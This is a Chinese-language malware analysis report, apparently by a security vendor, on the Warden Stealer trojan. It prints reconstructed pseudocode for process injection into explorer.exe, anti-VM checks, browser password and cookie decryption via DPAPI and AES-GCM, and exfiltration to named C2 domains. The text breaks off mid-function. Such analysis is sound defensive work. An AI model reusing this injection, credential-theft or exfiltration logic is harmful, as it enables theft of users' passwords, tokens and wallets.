你的浏览器密码、Steam令牌和钱包地址,正在被explorer.exe里的“幽灵模块”打包外发

概述

  近期,瑞星通过自动化沙盒捕获到今年新出现的名为Warden Stealer的窃密木马样本。初始文件byeantlyeuks.exe对内嵌编码数据进行解码和重组,并将还原出的载荷注入explorer.exe执行。后续模块build.dll的功能包含主机环境检测、浏览器及Discord、Steam、Roblox等应用数据采集,并包含剪贴板钱包地址替换、屏幕截图、进程内存读取及二阶段载荷下载执行等功能。样本通过WinHTTP与候选C2域名通信,上报数据经序列化、异或处理和LZNT1压缩。

攻击流程

image

样本分析

初始样本分析

字段 内容
文件名 byeantlyeuks.exe
文件大小 551 KB (564736 bytes)
文件MD5 C6BB7C751E64FC9B8E755D56102CF946
病毒名 Trojan.ShellCodeRunner/x64!1.149AA
文件类型 EXE
主要功能 解密载荷注入系统进程explorer.exe

  初始样本为 WindowsEXE可执行文件。其.rdata区域包含约39万字符的编码数据;样本使用字母表偏移量为+9的Base64变体对其解码,再进行去稀疏与字节重组,恢复出PE载荷。随后,样本通过任务栏窗口类Shell_TrayWnd定位其所属的explorer.exe进程,调用WriteProcessMemory写入载荷,并通过CreateRemoteThread将执行流转交给载荷入口。

#define ENC_BLOB_RVA   0x1C4A0      // 主编码块(393,688 字符, .rdata)
#define ENC_BLOB_LEN   0x601D8
#define PE_TMPL_RVA    0x1C40C      // PE 头字段模板
#define STD_ALPHA_RVA  0x1C268      // 明文标准字母表
#define IMG_SIZE       0x6AE00      // 载荷 SizeOfImage
#define IMG_RAW        0x6B36A      // WPM 写出长度
#define EP_RVA         0x46D40      // 载荷入口
#define SLOT(n)        (*(PVOID*)(IMAGE_BASE + (n)))  // .data 槽位

//  "Base64-URL +9 (mod 64)" 旋转字母表解码  
buffer_t* DecodeB64Rot9(const char *src, size_t n)
{
    buffer_t *out = Alloc(n/4*3 + 1);                  

    uint8_t t[256];                                   
    for (int v = 0; v < 64; v++)
        t[ StdAlpha[v] ] = (uint8_t)((v + 9) & 63);    // ★ 全表 +9 旋转: 'A'→9 'Z'→34 'a'→35 'z'→60 '0'→61 '9'→6 '3'→0 '_'→8

    const uint64_t RSI = 0x1733B719946466B5;           
    const uint64_t R12 = 0xE8CC48E66B9B990D;
    const uint8_t  PAD = (uint8_t)~(uint32_t)(RSI + R12);   

    uint32_t acc = 0; int bits = 0;
    for (size_t i = 0; i < n; i++) {
        uint8_t c = src[i];
        if (c == PAD) break;                      
        acc = (acc << 6) | t[c];                      
        bits += 6;
        while (bits >= 8) {                            
            EmitByte(out, (acc >> (bits - 8)) & 0xFF); 
            bits -= 8;
        }
    }
    return out;

}

// 去稀疏 / 字节重组                            
buffer_t* Desparse(buffer_t *l1)
{
    uint32_t cap = *(uint32_t*)l1->data;              
    buffer_t *out = Alloc(cap);                      
    const uint8_t *in = l1->data + 4;                 
    for (size_t i = 0, o = 0; i < 0x48160; ) {
        uint8_t b = in[i];
        if (b == 0x00 && IsInsertedZero(in, i)) { i++; continue; }  
        if (InDisplacedRun(in, i))                                  
             o = EmitRelocated(out, in, i, o);           
        else
             out->data[o++] = b, i++;                  
    }
    return out;   
}

//  PE 映像装配   
PVOID AssembleImage(buffer_t *l2)
{
    PVOID img = Alloc(IMG_SIZE);                       
    memcpy(img, l2->data, l2->len);                    

    BYTE *p = (BYTE*)img;
    p[0] = 'M';  p[1] = 'Z';                         
    WORD lfa = *(WORD*)(p + 0x3C);
    *(WORD*)(p + lfa) = 0x4550;                        
    for (int off = 8; off < 0x80; off += 8)            
        memcpy(p + off, (BYTE*)(IMAGE_BASE + PE_TMPL_RVA) + (off - 8), 8);  //按照模板表完善PE文件
    return img;   
}

// 注入 : 目标 = Shell_TrayWnd 属主 = explorer.exe
void Inject(void)
{
    HWND hw = pFindWindowA("Shell_TrayWnd", NULL);     
    DWORD pid = 0;
    pGetWindowThreadProcessId(hw, &pid);
    HANDLE h = pOpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    PVOID r = pVirtualAllocEx(h, NULL, IMG_SIZE, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);  
    PVOID img = AssembleImage(Desparse(DecodeB64Rot9((char*)(IMAGE_BASE + ENC_BLOB_RVA), ENC_BLOB_LEN)));
    pWriteProcessMemory(h, r, img, IMG_RAW, NULL);                                                         
    pCreateRemoteThread(h, NULL, 0,
        (LPTHREAD_START_ROUTINE)((BYTE*)r + EP_RVA), NULL, 0, NULL);            // 执行手工映射PE文件调用载荷的DllMain
}

  初始样本中需要解码的编码数据:

image

build.dll分析

字段 内容
原始文件名 build.dll
文件大小 419 KB
文件MD5 9FB6AAB11A0B56291E86560E880EF9BC
文件类型 DLL
病毒名 Stealer.Warden/x64!1.149BA
主要功能 检测运行环境,窃取用户信息进行回传

  初始样本创建的远程线程首先执行后续shellcode,该shellcode在目标进程中对手工映射的模块进行登记,并调用初始化函数,最终将控制权交给DllMain。

  shellcode的执行流程:

  void Stub_RegisterFakeModule() {
    PEB *peb = RtlGetCurrentPeb();
    PVOID lock = peb->LoaderLock;                 // +0x110
    PEB_LDR_DATA *ldr = peb->Ldr;                 // +0x18

    // 1) 手工将伪造 LDR_DATA_TABLE_ENTRY(0x8C9AE00) 链入两条真实模块链表尾部
    InsertTailList(&ldr->InLoadOrderModuleList,   &fake->InLoadOrderLinks);
    InsertTailList(&ldr->InMemoryOrderModuleList, &fake->InMemoryOrderLinks);

    // 2) 持 LoaderLock 调用 ntdll 内部登记函数,让加载器正式"认识"该伪模块
    RtlEnterCriticalSection(lock);
    LdrpInsertModule_intern(fake);                // → STATUS_SUCCESS
    RtlLeaveCriticalSection(lock);

    // 3) 依序执行镜像自带的初始化函数表(fn(DllBase, DLL_PROCESS_ATTACH))
    for (p = table[4]; p; p++) if (*p) (*p)(0x8C30000, 1);

    // 4) 以 DllMain 语义移交控制权到伪模块入口
    DllMain(0x8C30000, DLL_PROCESS_ATTACH, NULL); // call 0x8C76D40 ← 停止边界
}

  字符串/API解密

  样本使用统一的字符串和API解密函数 DecryptStringBlob ,采用种子化URL-safe Base64解码与位流LZ解压的两阶段处理方式。API 名称、凭据相关键名、虚拟化检测字符串及下载模板等内容均通过该函数还原。

/* 字符串解密函数DecryptStringBlob */
void DecryptStringBlob(RustStr* out, const uint8_t* data, size_t len, uint8_t seed)
{
    uint8_t tab[256] = {0};
    for (int i = 0; i < 64; i++)
        tab["A-Za-z0-9-_"[i]] = (i - seed) & 0x3F;         /* 种子化移位字母表;*/

    uint8_t* dec = malloc(len * 3 / 4 + 1); size_t dlen = 0;
    uint32_t acc = 0; int nb = 0;
    for (size_t i = 0; i < len && data[i] != '='; i++) {   /* 变体 base64,'=' 截断 */
        acc = (acc << 6) | tab[data[i]]; nb += 6;
        while (nb >= 8) { nb -= 8; dec[dlen++] = acc >> nb; acc &= (1u << nb) - 1; }
    }
    if (dlen < 4) __ud2();
    uint32_t n = *(uint32_t*)dec;                          /* 明文长度(LE32) */
    uint8_t* r = malloc(n); size_t olen = 0, i = 4;
    while (i < dlen && olen < n) {                         /* 位流 LZSS */
        uint8_t ctrl = dec[i++];
        for (int b = 0; b < 8 && olen < n; b++) {
            if (!(ctrl & (1u << b))) r[olen++] = dec[i++]; /* 字面 */
            else {
                uint8_t b0 = dec[i], b1 = dec[i+1]; i += 2;
                unsigned cnt = (b0 >> 4) + 3, dist = (((b0 & 0xF) << 8) | b1) + 1;
                for (unsigned k = 0; k < cnt && olen < n; k++) r[olen] = r[olen - dist], olen++;
            }
        }
    }
    out->len = olen; out->cap = n; out->ptr = r;            /* 明文常带尾部 '\0' */
    free(dec);
}

  主机环境检测

  样本调用 GetSystemFirmwareTable('RSMB') 获取原始 SMBIOS 表,并尝试统计其中 Type 7 结构的数量。当表获取失败、结构遍历异常或未发现 Type 7 结构时,程序可能提前退出;若检测通过,则继续进入后续CPU与虚拟化环境检查。

//固件表反虚拟机判定
DWORD type7 = 0;
DWORD need = GetSystemFirmwareTable('RSMB', 0, NULL, 0);   // 先问原始SMBIOS表所需长度
if (need == 0) {                                         

     exit();                          // 长度查询失败 → 直接退出
}

void *buf = alloc(need);                                   
DWORD got = GetSystemFirmwareTable('RSMB', 0, buf, need);  //第二次:真正取表

if (need < 9 || got == 0) {                                

    free(buf);                                            
     exit();                          // 取不到表 →  直接退出
}

// ---- 遍历原始 SMBIOS 结构表(结构区从 buf+8 开始,前 8 字节为前缀)----
DWORD end = need - 8;                                      

for (DWORD off = 0; end >= off + 4; ) {                    
    BYTE type   = buf[off + 8];                            
    BYTE length = buf[off + 9];                            
    if (type == 0x7F) break;                               
    off += length;                                         
    if (off > end) break;                                  
    type7 += (type == 7);      
     goto anti_vm_gate;         //缓存信息验证完毕-->走CPU检测
}
free(buf);                                              
if (type7 == 0)                                           
     exit();;        //缓存信息验证失败直接退出                                   

  样本利用 CPUID(0) 返回的CPU 厂商字符串、CPUID(0x40000000) 返回的hypervisor相关信息、最大hypervisor 叶值、CPUID(0x80000002–0x80000004) 返回的处理器品牌字符串,以及 CPUID(1) 的特征位进行环境判断。命中相关虚拟化分支后,程序会进一步查询注册表值并生成相应指纹;进入另一分支时,则会采集卷序列号等主机特征。

/* 反虚拟机主判定 */
void anti_vm_check(void)
{
    uint32_t cpu_vendor[3], hv_sig[3];
    char     brand[48] = {0};

    /* CPUID(0): CPU 厂商串*/
    cpuid_get(0, cpu_vendor);                      
    build_anti_vm_key_table(cpu_vendor);            //  构造 31 条反虚拟机注册表/API/路径键

    /* CPUID(40000000H): hypervisor 厂商签名 */
    cpuid_get(0x40000000, hv_sig);                  

    uint32_t d0 = hv_sig[0];                        
    uint32_t d2 = hv_sig[2];                      
    if ((d0 | d2) != 0)                             
        goto VM_DETECTED;                           // 虚拟机
    else
        goto BARE_METAL;                            // 物理机

VM_DETECTED:                                        /* ---- 虚拟机命中分支  */
    build_anti_vm_key_table();                      
    key = decrypt_string("J0EEEEFPdbpmf6J2dEEkXKJ9f7Z4bEFUgqZwf6JolyiiiijN", 0x28); 
    if (RegOpenKeyExW(hRoot, key, 0, KEY_READ /*0x20019*/, &hKey) != ERROR_SUCCESS) 
        goto OTHER_PATH;                            
    val = RegQueryValueExW_typed(hKey, value_name); 
    if (val.type == 0)                              
        fp_num = hex_str_to_u64(val.data);          
    return;                                         
BARE_METAL:                                         /* ---- 非虚拟机分支*/
    ResolveApi("kernel32.dll", "GetVolumeInformationW");   
    volume_serial = GetVolumeInformationW(...);     /* 卷序列号指纹 */

    cpuid_get(0x40000000, hv_sig);                 
    if (hv_sig[0] >= 0x40000100) goto HYPERVISOR_BIG_LEAF;  
    else                         goto NORMAL_PATH;          
NORMAL_PATH:
    /* ④ CPUID(80000000H): 最大扩展叶, 需 >= 0x80000004 才支持处理器品牌串 */
    cpuid_get(0x80000000, hv_sig);                  
    if (hv_sig[0] < 0x80000004)                      
        brand = NULL;                               
    else
        for (uint32_t leaf = 0x80000002, off = 0; leaf <= 0x80000004; leaf++, off += 16)
            cpuid_get(leaf, (uint32_t*)&brand[off]);        
    cpuid_get(1, feature);                          
    fingerprint = hash(cpu_vendor, brand, volume_serial, feature, /*…*/);
}

  下表整理了从样本中还原出的虚拟化相关签名,以及显示设备、注册表、API、模块和服务相关字符串。列表如下:

# 明文 说明
1 VMwareVMware VMware
2 VBoxVBoxVBox VirtualBox
3 XenVMMXenVMM Xen
4 TCGTCGTCGTCG QEMU TCG
5 LKVMLKVMLKVM KVM
6 SRESRESRESRE 变体签名
7 EVMMEVMMEVMM 变体签名
8 ACRNACRNACRN ACRN
9 BHyVE BHyVE bhyve
10 bhyve bhyve bhyve
11 prl hyperv Parallels
12 lrpepyh vr Parallels
13 ___ NVMM ___ NetBSD NVMM
14 Barevisor! Barevisor
15 Jailhouse Jailhouse
16 MiniVisor MiniVisor
17 HAXMHAXMHAXM Intel HAXM
18 ConnectixCPU Connectix Virtual PC
19 OpenBSDVMM58 OpenBSD VMM
20 Insignia 586 Insignia
21 Neko Project Neko Project
22 Compaq FX!32 Compaq FX!32
23 UnisysSpar64 Unisys
24 Linux KVM Hv Hyper-V/KVM
25 IntelTDX Intel TDX
26 NoirVisor ZT NoirVisor
27 QNXQVMBSQG QNX/VMBSQ
28 Standard VGA 虚拟显示适配器名
29 Basic Display 虚拟显示适配器名
30 DisplayVersion 注册表值名
30a DisplayName 注册表值名
30b SystemComponent 注册表值名
30c UninstallString 注册表值名
31 RegQueryValueExW 注册表读取 API 名
31a advapi32 模块名
31b ncalrpc ALPC 端点名
31c DNSResolver 服务/模块痕迹
31d Keyboard Layout\Preload 注册表

  设备指纹计算

  除用于环境判断的CPU信息外,样本还查询卷序列号、键盘布局、显示适配器名称、已安装软件列表及区域信息。机器指纹的SHA-256输入包含 CPUID(1) 部分寄存器值的十六进制表示、卷序列号的十六进制表示及显示适配器名称,最终生成 32 字节摘要.

// 机器指纹采集
void collect_machine_fingerprint_and_hash(RustStr *out)
{
    DWORD  vol_serial = 0;
    UINT32 feat[4];
    WCHAR  locale[0x55];
    DISPLAY_DEVICEW dd = {0};
    BCRYPT_ALG_HANDLE hAlg = NULL, hHash = NULL;
    BYTE   digest[32];
    char   hex[17];

    /*卷序列号*/
    fnGetVolumeInformationW =
        ResolveApi_Cached("kernel32", "GetVolumeInformationW");      
    fnGetVolumeInformationW(L"C:\\", NULL, 0, &vol_serial,
                            NULL, NULL, NULL, 0);                   
    /*  键盘布局:HKCU\Keyboard Layout\Preload */
    if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Keyboard Layout\\Preload",
                      0, KEY_READ, &hk) == ERROR_SUCCESS) {          
        for (DWORD i = 1; ; i++) {
            WCHAR nm[16]; DWORD type = 0, cb = sizeof(buf); BYTE buf[256];
            swprintf(nm, L"%lu", i);
            if (RegQueryValueExW(hk, nm, NULL, &type, buf, &cb) != ERROR_SUCCESS)
                break;                                              
        }
        RegCloseKey(hk);
    }

    /* 显示适配器*/
    for (UINT i = 0; ; i++) {
        memset(&dd, 0, sizeof(dd)); dd.cb = sizeof(dd);             
        if (!EnumDisplayDevicesW(NULL, i, &dd, 0)) break;           
    }

    /* Uninstall 子键枚举 */
    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
            L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall",
            0, KEY_READ, &hkUn) == ERROR_SUCCESS) {                
        for (DWORD idx = 0; ; idx++) {
            WCHAR sub[256]; DWORD clen = 256;
            if (RegEnumKeyExW(hkUn, idx, sub, &clen,
                              NULL, NULL, NULL, NULL) != ERROR_SUCCESS)
                break;                                                       }
        RegCloseKey(hkUn);
    }

    /* 区域 */
    fnGetUserDefaultLocaleName(locale, 0x55);                      
    /*SHA-256 汇总:只吃 3 段、且都是文本形式  */
    BCryptOpenAlgorithmProvider(&hAlg, L"SHA256", NULL, 0);          
    BCryptCreateHash(hAlg, &hHash, NULL, 0, NULL, 0);

    cpuid(1, feat);                                                  
    snprintf(hex, 17, "%08X%08X", feat[EDX], feat[EAX]);
    BCryptHashData(hHash, hex, 16, 0);                               

    snprintf(hex, 17, "%08X", vol_serial);
    BCryptHashData(hHash, hex, 8, 0);                                

    BCryptHashData(hHash, dd.DeviceString,wcslen(dd.DeviceString), 0);                      

    BCryptFinishHash(hHash, digest, 32, 0);                       
    BCryptDestroyHash(hHash); BCryptCloseAlgorithmProvider(hAlg, 0);    
    out = make_rust_string(digest, 32);   
}

  样本将采集结果按“8 字节长度前缀 + 原始数据”的形式序列化,再调用 RtlCompressBuffer 使用 LZNT1 算法压缩,以减少待发送数据的体积。

/* 序列化  + 压缩 */
void* pack_collection(collection_t* c, size_t* out_len)
{
    size = 8;
    for (e in c->items) size += e.len1 + e.len2 + 0x10;      /* 先算总长 */
    buf = malloc(size); p = buf + 8;
    for (e in c->items) {
        *(uint64_t*)p = e.len1; p += 8; memcpy(p, e.p1, e.len1); p += e.len1;
        *(uint64_t*)p = e.len2; p += 8; memcpy(p, e.p2, e.len2); p += e.len2;
    }
    *(uint64_t*)buf = p - buf;                                /* 8 字节长度前缀 */
    return RtlCompressBuffer(&p, &p_len, buf, buf_len);       /*   LZNT1 压缩 */
}

  与C2通信

  样本通过字符串解密器还原 winhttp.dll 及相关 WinHTTP API 名称,并按模块与哈希等信息缓存函数指针。该方式减少了相关 API 名称在静态导入表中的直接暴露。

/* WinHttp API 解析 */
void resolve_winhttp_api_set(WinHttpApi* api)
{
    RustStr mod, fn;
    DecryptStringBlob(&mod, lit_0x20489E2CD10, 0x20, 0xBB);          /* "winhttp.dll" */

    api->CloseHandle        = ResolveApi_Cached(0xE64C5DBB, mod.ptr, ..., decrypt("WinHttpCloseHandle",       0xE64C5DBB));
    api->ReadData           = ResolveApi_Cached(0xE64C5DBB, mod.ptr, ..., decrypt("WinHttpReadData",          0xE64C5DBB));
    api->QueryDataAvailable = ResolveApi_Cached(0xE64C5DBB, mod.ptr, ..., decrypt("WinHttpQueryDataAvailable",0xE64C5DBB));
    api->Connect            = ResolveApi_Cached(0xE64C5DBB, mod.ptr, ..., decrypt("WinHttpConnect",           0xE64C5DBB));
    api->ReceiveResponse    = ResolveApi_Cached(0xE64C5DBB, mod.ptr, ..., decrypt("WinHttpReceiveResponse",   0xE64C5DBB));
    api->OpenRequest        = ResolveApi_Cached(0xE64C5DBB, mod.ptr, ..., decrypt("WinHttpOpenRequest",       0xE64C5DBB));
    api->WriteData          = ResolveApi_Cached(0xE64C5DBB, mod.ptr, ..., decrypt("WinHttpWriteData",         0xE64C5DBB));
    api->SendRequest        = ResolveApi_Cached(0xE64C5DBB, mod.ptr, ..., decrypt("WinHttpSendRequest",       0xE64C5DBB));
    api->QueryHeaders       = ResolveApi_Cached(0xE64C5DBB, mod.ptr, ..., decrypt("WinHttpQueryHeaders",      0xE64C5DBB));
    api->Open               = ResolveApi_Cached(0xE64C5DBB, mod.ptr, ..., decrypt("WinHttpOpen",              0xE64C5DBB));

}

  C2主机名通过独立于通用字符串解密器的单字节XOR条目表保存。样本逐字节异或还原主机名,再转换为UTF-16字符串传递给WinHTTP。C2的候选主机名为 systemformating.rest 和 notguilty.info。

/* C2 域名表,条目循环上限 0x30 ⇒ 共 2 条 */
typedef struct { uint8_t key; const uint8_t* enc; size_t len; } C2Ent;

static const C2Ent g_c2[] = {
    { 0x2F, (void*)0x20489E2DF55, 0x14 },   /* → "systemformating.rest"(19 字符) */
    { 0xB7, (void*)0x20489E2D8AF, 0x0E },   /* → "notguilty.info"       (14 字符) */
};

/* XOR 解码循环 */
char* decode_c2_host(const C2Ent* e)
{
    if (!e->len) return NULL;                      /* 空条目跳过 */
    char* dst = malloc(e->len + 1);
    for (size_t i = 0; i < e->len; i++)
        dst[i] = (char)(e->enc[i] ^ e->key);       
    dst[e->len] = 0;
    return dst;
}

  上报数据的构建流程为:采集结果序列化、按 build 相关字节执行XOR、使用LZNT1压缩,最后添加帧头。帧头包含 4 字节的未压缩长度和 16 字节的 build marker;生成后的数据会被缓存,并在后续通信轮次中重复使用。

/* 帧体构建 */
void* build_frame(collection_t* c, size_t* out_len)
{
    void* ser; size_t ser_len;
    SerializeCollection_U64LenPrefixed(&ser, &ser_len, c);             

    for (size_t i = 0; i < ser_len; i++)
        ((uint8_t*)ser)[i] ^= g_build_byte;                             /* build 专属字节 XOR */

    void* cmp; size_t cmp_len;
    AssembleBuf_and_RtlCompressBuffer(&cmp, &cmp_len, ser, ser_len);    /* RtlCompressBuffer */

    uint8_t* frame = malloc(4 + 16 + cmp_len);
    *(uint32_t*)frame = (uint32_t)ser_len;                             
    memcpy(frame + 4, g_build_marker, 16);                              
    memcpy(frame + 20, cmp, cmp_len);
    *out_len = 4 + 16 + cmp_len;                                      
    return frame;                                                       /* ★ 只构建一次,各轮字面相同 */
}

  单轮通信逻辑使用异步、未配置代理的 WinHTTP 会话连接候选主机的443端口,向根路径POST /发送上报数据,再读取服务端响应。发送帧长度约为 1199 字节,响应内容为 error code: 521,未获得有效动态配置。

/* 单次心跳 调用 WinHttp_Client_HttpFlow  */
int c2_round(WinHttpApi* api, const void* body, size_t body_len)
{
    wchar_t host_w[64]; uint16_t port = 443;             /* 实测 r9w = 01BBh */
    char* host = decode_c2_host(g_c2_cur);               /* C2 的 XOR 解码 */
    utf8_to_utf16(host_w, host, strlen(host));

    hS = api->Open(NULL, WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, WINHTTP_FLAG_ASYNC);
    if (!hS) return -1;
    hC = api->Connect(hS, host_w, port, 0);               /*  systemformating.rest:443 */
    if (!hC) { api->CloseHandle(hS); return -2; }
    hR = api->OpenRequest(hC, L"POST", L"/", NULL, NULL, 0);   /*   POST / */
    api->SendRequest(hR, NULL, 0, NULL, 0, (DWORD)body_len, 0);
    DWORD written = 0;
    api->WriteData(hR, body, (DWORD)body_len, &written);       /*  数据是1199 字节 */
    api->ReceiveResponse(hR, NULL);

    char rx[0x10000]; DWORD avail = 0, got = 0, total = 0;
    while (api->QueryDataAvailable(hR, &avail) && avail && total < sizeof(rx)) {
        api->ReadData(hR, rx + total, avail, &got);           
        total += got;
    }
    /* 响应 = "error code: 521\n" ⇒ 服务器不可用,无有效配置 */
    BOOL ok = (total > 0) && !is_http_error_text(rx, total);
    api->CloseHandle(hC); api->CloseHandle(hR); api->CloseHandle(hS);
    if (!ok) return -3;

    parse_dynamic_config(rx, total);    /* 读取配置文件-->采集规则/钱包地址/下载 URL */
    return 0;
}

  通信主循环包含候选主机轮换与失败重试逻辑:当前主机请求失败后尝试后续条目,到达循环边界后休眠约 4 秒并重新开始。在通信成功并取得配置后,样本会进入批量数据上传流程。

/* 心跳主循环 */
void c2_loop(WinHttpApi* api)
{
    const char* body; size_t body_len;
    body = build_frame(collect_fingerprint(), &body_len);   

    size_t idx = 0;                                      
    for (;;) {
        if (idx >= sizeof(g_c2)) {                        
            RustThreadSleep_HighRes(4, 0);                  
            idx = 0;
        }
        g_c2_cur = entry_at(idx);                        
        if (c2_round(api, body, body_len) == 0) {
            upload_stolen_data_in_batches(api);             /* 拿到配置后按采集规则批量外传 */
            idx = 0;
        } else {
            idx += 0x18;                                    /* 失败 → 换下一个域名 */
        }
    }
}

分析方法说明:本次分析未获得有效的C2动态配置,因此以下浏览器、应用及其他窃密功能,是结合逆向工程工具与大模型辅助语义分析,对注入载荷伪代码进行逻辑还原所得。

  浏览器数据采集

  样本封装了统一的DPAPI解密入口,供后续浏览器和应用数据处理逻辑调用,以尝试解密受 Windows 数据保护机制保护的数据。

/* DPAPI解密入口 */
BOOL dpapi_unprotect(const DATA_BLOB* in, DATA_BLOB* out)
{
    fn = ResolveApi_Cached(0x549D5230, "crypt32.dll", ..., "CryptUnprotectData");  
    lf = ResolveApi_Cached(0x9CC54D4B, "kernel32.dll", ..., "LocalFree");          
    BOOL ok = fn(in, NULL, out, NULL, 0, NULL);                                   
    if (ok) lf(out->pbData);
    return ok;
}

  浏览器数据采集逻辑由C2配置驱动的任务线程调度,主要覆盖Chromium系浏览器、Gecko(Firefox)及浏览器扩展。相关代码尝试读取 Local State 中的密钥字段,通过 CryptUnprotectData 等接口处理受保护的密钥,再使用CNG AES-GCM等方式处理部分浏览器密文。被检查的数据文件包括 Login Data、Login Data For Account、History、Local Storage\leveldb、Preferences、cookies.sqlite、formhistory.sqlite、autofill-profiles.json、storage/default,以及 manifest.json、extensions.json 和 Local Extension Settings 等。伪代码显示,解析结果会被归集到多个 HashMap 并序列化,供后续通信模块处理。

/* 浏览器凭据采集链(Chromium 系 + Gecko 系 + 扩展) */

/* ── 0. 通用基础设施 ──────────────────────────────────────────────────── */
RustStr read_file_retry(RustStr path)           
{                                                /
    for (i = 0; i < 3; i++) {                    /* 浏览器库常被占用 → 3 次重试 */
        h = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ|WRITE|DELETE, OPEN_EXISTING);
        if (h == INVALID) { if (GetLastError() == SHARING_VIOLATION) continue; return NULL; }
        size = GetFileSizeEx(h); buf = alloc(size);
        ReadFile(h, buf, size, &got); CloseHandle(h);
        return { buf, got };
    }
    return NULL;
}

RustStr dpapi_unprotect(RustStr blob)           
{
    fn = ResolveApi_Cached("crypt32", "CryptUnprotectData");   
    fl = ResolveApi_Cached("kernel32", "LocalFree");           
    ok = fn(&blob, NULL, &out, NULL, 0, NULL);
    if (ok) fl(out.pbData);
    return ok ? out : NULL;
}

/* ── 1. AES 主密钥解析(Chromium 系) */
RustStr chromium_master_key(RustStr profile_dir)
{
    local_state = read_file_retry(profile_dir + "\\Local State");   /*  "Local State" ,*/
    k = json_str(local_state, "dpapi_encryption_key");              
    if (!k) k = json_str(local_state, "encrypted_key");            
    if (!k) k = json_str(local_state, "app_bound_encrypted_key");   
    raw = base64_decode(k);
    if (raw[0..4] == "DPAPI") raw += 5;                             
    key = dpapi_unprotect(raw);                                     
    return key;                                                     
}

/* ── 2. 密文解密:AES-GCM (CNG/BCrypt)  */
RustStr chrome_blob_decrypt(RustStr enc, RustStr key)   
{
    /* API 解析 */
    BCryptOpenAlgorithmProvider(&hAlg, L"AES", NULL, 0);           
    BCryptSetProperty(hAlg, L"ChainingMode", L"GCM", ...);         
    BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, key, key.len, 0);
    if (enc[0..3] == "v10" || enc[0..3] == "v11") {
        nonce = enc[3..15]; ct = enc[15..len-16]; tag = enc[len-16..];
        BCryptDecrypt(hKey, ct, nonce, tag, &plain, BCRYPT_AUTHENTICATED_MODE);   /* BCryptDecrypt 解析 */
    } else {                                                       
        plain = aes_cbc_decrypt(key, enc, iv = enc[3..19]);
    }
    BCryptDestroyKey(hKey); BCryptCloseAlgorithmProvider(hAlg, 0);
    return plain;
}

/* ── 3. Chromium 主采集器 */
Collection chromium_collect(RustStr *profile_dir /*a1*/, Collection *out /*a2*/,
                            Scratch *sc /*a3*/, RustStr *names /*a4*/, size_t n /*a5*/)
{
    JumpSlotInit_Once();
    key = chromium_master_key(profile_dir);          
    files[] = { "Local State", "Login Data", "Login Data For Account",   
                "logins" / "logins_alt", "History",                     
                "Local Storage\\leveldb", "Local Storage/leveldb",      
                "Preferences" };                                       
    for (i = 0; i < 5; i++) blob[i] = read_file_retry(join(profile_dir, files[i]));

    /* SQLite 记录迭代:origin_url / username_value / password_value */
    for (row in sqlite_rows(blob_login_data, "logins")) {
        pw = row.password_value;
        if (pw.prefix_is_v10()) pw = chrome_blob_decrypt(pw, key);
        RustHashMap_insert(&table[i], row.origin_url + ":" + row.username_value, pw);   
        RustString_from_hashmap_triple(...);                                        
    }
    /* 历史/收藏:url、title、last_visit_time;LocalStorage\leveldb:键值对;Preferences:设置项 */
    RustStableSort_wrapper(&out->items);                
    SerializeCollection_U64LenPrefixed(out, &table_a);   
    SerializeCollection_U64LenPrefixed(out, &table_b);
}

/* ── 4. Chromium/Edge 扩展采集 */
void chrome_extensions(RustStr profile_dir, Collection *out)
{
    for (ext in readdir(profile_dir + "\\Extensions")) {             
        man = read_file_retry(ext + "\\manifest.json");               
        m = json_parse(man);                                          
        name = m["name"]; ver = m["version"];                         
        ls = read_file_retry(profile_dir + "\\Local Extension Settings\\" + ext_id);  
        RustHashMap_insert(&table, name, ver + "|" + ls);
    }
    for (id in read_file(profile_dir + "\\Local State").json("extensions.webextensions.uuids"))  
        RustHashMap_insert(&map, id, uuid);
    SerializeCollection_U64LenPrefixed(out, &table);
}

/* ── 5. Firefox(Gecko) 采集器*/
void firefox_collect(RustStr profile_dir, Collection *out)
{
    for (prof in readdir("%APPDATA%\\Mozilla\\Firefox\\Profiles")) {   
        logins    = read_file_retry(prof + "\\logins.json");           
        cookies   = read_file_retry(prof + "\\cookies.sqlite");        
        formhist  = read_file_retry(prof + "\\formhistory.sqlite");    
        autofill  = read_file_retry(prof + "\\autofill-profiles.json");
        prefs     = read_file_retry(prof + "\\prefs.js");             
        storage   = readdir(prof + "\\storage\\default");             

        k = json_str(logins, "encryption_key");                       
        if (k) k = dpapi_unprotect(base64_decode(k));                 
        for (L in json_parse(logins).logins) {                         
            u = firefox_aes_decrypt(L.encryptedUsername, k);           
            p = firefox_aes_decrypt(L.encryptedPassword, k);
            RustHashMap_insert(&t_login, L.hostname, u + ":" + p);
        }
        for (row in sqlite_rows(cookies, "moz_cookies"))  RustHashMap_insert(&t_cookie, row.host, row.name + "=" + row.value);
        for (row in sqlite_rows(formhist, "moz_formhistory")) RustHashMap_insert(&t_form, row.fieldname, row.value);
        for (f in readdir(storage)) RustHashMap_insert(&t_ls, f.name, read_file_retry(f));
        RustHashMap_insert(&t_pref, "prefs.js", prefs);
        SerializeCollection_U64LenPrefixed(out, &t_login);            
        SerializeCollection_U64LenPrefixed(out, &t_cookie);
        SerializeCollection_U64LenPrefixed(out, &t_form);
        SerializeCollection_U64LenPrefixed(out, &t_ls);
    }
}

/* ── 6. Firefox profile / 扩展扫描  */
void firefox_profiles_and_ext(RustStr root, Collection *out)
{
    reg = GlobalStrFromRegistry_or_None(...);                          /*  从注册表取 Firefox 安装/配置路径 */
    for (prof in readdir(root)) {
        ext = read_file_retry(prof + "\\extensions.json");             
        for (e in json_parse(ext))  RustHashMap_insert(&t_ext, e.id, e.name + e.version);
        for (f in readdir(prof + "\\storage"))                          
            if (Bytes_contains_needle_Memmem(read_file_retry(f), TOKEN_PATTERNS))  /*  Memmem 搜索 */
                RustHashMap_insert(&t_hit, f.name, matched_token);
        if (encrypted_key_blob) sub_20489DE2040(&map, encrypted_key_blob);  
        RustString_drop_in_place(...);
    }
    SerializeCollection_U64LenPrefixed(out, &t_ext);
}

/* ── 7. 编排 / 打包外发 */
void browser_task_thread(void *ctx)
{
    base_appdata  = getenv_utf16("APPDATA");                     
    base_localapp = getenv_utf16("LOCALAPPDATA");
